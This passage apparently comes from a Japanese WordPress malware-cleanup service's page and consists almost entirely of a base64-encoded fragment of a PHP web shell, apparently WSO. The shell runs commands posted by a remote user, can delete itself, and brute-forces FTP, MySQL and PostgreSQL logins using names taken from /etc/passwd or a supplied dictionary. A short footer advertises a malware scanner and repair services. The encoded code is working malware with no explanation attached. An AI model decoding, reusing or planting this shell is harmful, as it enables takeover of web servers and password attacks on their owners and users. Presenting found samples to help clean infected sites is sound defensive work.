6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSkpOwoJfQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgI2RmNTtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgd2lkdGg9IjElIj4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOwoJZWNobyAnPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsKICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRpbWUoKSAtIDM2MDApOwoJZGllKCdieWUhJyk7Cn0KCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7CgoJaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKQoJCWlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCgkJCWRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwoJCWVsc2UKCQkJZWNobyAndW5saW5rIGVycm9yISc7CiAgICBpZigkX1BPU1RbJ3AxJ10gIT0gJ3llcycpCiAgICAgICAgd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PlJlYWxseSB3YW50IHRvIHJlbW92ZSB0aGUgc2hlbGw/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsKCXdzb0hlYWRlcigpOwoJaWYoIGlzc2V0KCRfUE9TVFsncHJvdG8nXSkgKSB7CgkJZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOwoJCWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7CgkJCWZ1bmN0aW9uIHdzb0JydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOwoJCQkJaWYoISRmcCkgcmV0dXJuIGZhbHNlOwoJCQkJJHJlcyA9IEBmdHBfbG9naW4oJGZwLCAkbG9naW4sICRwYXNzKTsKCQkJCUBmdHBfY2xvc2UoJGZwKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgewoJCQlmdW5jdGlvbiB3c29CcnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRyZXMgPSBAbXlzcWxfY29ubmVjdCgkaXAuJzonLigkcG9ydD8kcG9ydDozMzA2KSwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKCQkJZnVuY3Rpb24gd3NvQnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkc3RyID0gImhvc3Q9JyIuJGlwLiInIHBvcnQ9JyIuJHBvcnQuIicgdXNlcj0nIi4kbG9naW4uIicgcGFzc3dvcmQ9JyIuJHBhc3MuIicgZGJuYW1lPXBvc3RncmVzIjsKCQkJCSRyZXMgPSBAcGdfY29ubmVjdCgkc3RyKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAwOwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJCQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCQlpZiggd3NvQnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3MrKzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIHdzb0JydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+QnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JwoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaG

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.